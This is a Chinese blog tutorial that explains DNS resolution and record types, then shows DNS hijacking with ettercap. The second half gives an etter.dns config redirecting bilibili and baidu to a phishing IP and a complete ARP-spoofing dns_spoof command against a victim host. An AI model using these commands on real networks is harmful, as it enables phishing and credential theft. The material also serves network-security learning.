網路安全(一)主動進攻之DNS基礎和ettercap實現DNS流量劫持
alittlemc,個人原創,個人理解和觀點。若有錯誤、不理解請與我聯繫,謝謝!
- 介紹了DNS的解析過程。
- DNS劫持的思路和實踐。
DNS
域名
以為live.bilibili.com為例子,從後到前依次為頂級(一級)域名com、二級域名bilibili,三級域名live。www是特殊的標示代表主機,有一些域名再長點,就繼續四級域名、五級域名加下去。
- 其實在頂級域名後還有一個根域寫作.(英文句號),www.bilibili.com.
- 頂級域名一般代表具有一定性質的網站,com商業、cn中國、gov政府機構等等
- 二級域名代表具體的網頁名稱所以主體
- 三級域名就是更細的劃分,比如teiba.baidu.com
- www是個特殊代表主機
DNS概述
DNS(Domain Name System,域名系統),DNS簡單來說就是已知域名求IP的服務。在TCP/IP協議下的網路中,設備之間通訊都是用網路層的IP作目標標識的,但是訪問網頁我們往往通過域名來訪問,比如bilibili對應的IP解析為119.3.70.188,//bilibili.com比如//119.3.70.188都可以打開bilibili站點,但是IP地址不是每個人都能很好的記憶的,更何況將來如果IPv6廣泛應用了(如圖1所示),所以是DNS一項很重要的技術。
圖1.www.bilibili.com解析出的IPv6地址
DNS服務在提供域名解析額同時,還為伺服器提供負載均衡,IP優化域名優化的效果。
- DNS一條域名可以解析出多條IP結果,這些IP對應提供相同的服務但是位置不同的伺服器,將不同的IP返回給用戶,不至於讓某台伺服器壓力太大。
- 有一些高級的DNS伺服器會客戶的運營商提供較優的IP,比如在廣西訪問廣東的IP往往比訪問北京的來得更快些。
圖2.bilibili.com全部解析結果
DNS解析過程
DNS一開始本機會「先求人不如求己」,先查詢本機DNS存放在記憶體中快取(這快取幾個小時後清除),本機hosts文件。實在是沒有才會向本機設置的DNS Server發起請求,本機的DNS Server為阿里的223.5.5.5。
DNS使用UDP:53埠(當然也可以使用TCP:53,在較大請求和返回數據的情況下使用,因為UDP報文最大576位元組且後續報文不分片直接丟棄。所以減去UDP報頭,DNS報文數據限制在512位元組內)。UDP的報文很乾凈,一來一回也不需要握手。
- 在終端輸入NSLOOKUP查詢一下www.bilibili.com,並且抓包:
圖3.本機192.168.4.1與DNS Server 223.5.5.5的請求過程
DNS Server接受到任務後會查詢DNS資料庫的,當然「人非聖賢孰能無過」,DNS Server也會查詢不到IP,會再向上游DNS Server發起請求:
- 遞歸查詢:不知道就問上一級(PC請求Server1時候也屬於遞歸查詢)
- 迭代查詢:不知道認識的都問一遍
圖4.本機192.168.4.1與DNS Server 223.5.5.5的請求過程
DNS查詢記錄
DNS有不同的記錄:
- A 記錄
- 域名解析IPv4地址
- AAAA 記錄
- 和A 記錄類似,域名解析IPv6 地址
- PTR記錄
- IP解析域名,即反向解析,比如nslookup輸入server 223.5.5.5反向解析出了public1.alidns.com
圖5.反向解析
- CNAME 記錄
- CNAME 記錄另一個別名域,
圖6.a.w.bilibili.com和www.bilibili.com相同
-
其他的記錄還有:SOA 記錄還有、MX記錄、NS記錄、TXT記錄、SRV記錄、APL記錄、CAA記錄、DNAME記錄 等等。太多啦,不在本次的討論範圍啦。
基於ettercap實現DNS劫持
完成思路
溫馨提示:DNS劫持是違法的,請不要以身試法(一般情況我們稱黑客 為小黑子香精撈飯)
- 搭建假的DNS Server提供可以自定義DNS解析條件,基於ettrcap使用自帶的/etc/ettercap/etter.dns。
- 搭建假的釣魚網站,其IP由假的DNS伺服器提供,當然也可以搭建某些中轉的網站,比如某個編寫了惡意腳本的站點,用戶打開後GET 其URL,再執行腳本後跳轉。(相比於近似發,taobao.com和ta0ba0.com,DNS可以讓正確的域名對於錯誤的站點,更隱蔽)
- 部署站點:
- ettercap的基於可arp來實現的,所以只在區域網中使用,用於。
- 釣魚網站站點可以搭建在區域網內也可以搭建在公網中,具體內容和作用嘛,其實應該有看見過,用於盜取一些個人資訊;配置使用nginx、apache作為中間價,PHP之類作為解析(或者靜態的html,post到動態PHP介面)
- 使用ettercap發起攻擊
ettercap的使用
ettercap是基於ARP 地址欺騙來實現中間人攻擊的工具。
可惡我的kali截圖丟了,後面我會補上。
一般情況下完整版的Kali是自帶甚至有圖形介面,
- github://github.com/Ettercap/ettercap
- 官網:Downloads « Ettercap (ettercap-project.org)
編輯(假DNS請求)/etc/ettercap/etter.dns
# 域名 A 釣魚網站IP # 比如 # 正向A www.bilibili.com A 10.100.10.4 www.baidu.com A 10.100.10.4 # 反向PRT www.bilibili.com PRT 10.100.10.4 www.baidu.com PRT 10.100.10.4
發起攻擊過程
# 查看網關 網卡等 root @ localhost in ~ [21:54:10] C:1$ sudo route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 10.100.10.1 0.0.0.0 255.255.255.192 U 0 0 0 wlan0
—
ettercap -i wlan0 -Tq -M arp:remote -P dns_spoof /被攻擊者ip// /被攻擊者網關// -i <網卡>:指定網卡 -T:只顯示文本 -q:安靜模式,不顯示抓到的數據包內容 -M <攻擊方式>:執行中間人攻擊,這裡的arp:remote為arp欺騙 -P <插件名>:使用的插件,這裡使用dns_spoof即可dns欺騙插件
ettercap -i wlan0 -Tq -M arp:remote -P dns_spoof /10.100.10.120// /10.100.10.1//
—
今天先寫這麼多啦,好睏啊,今天早點休息吧。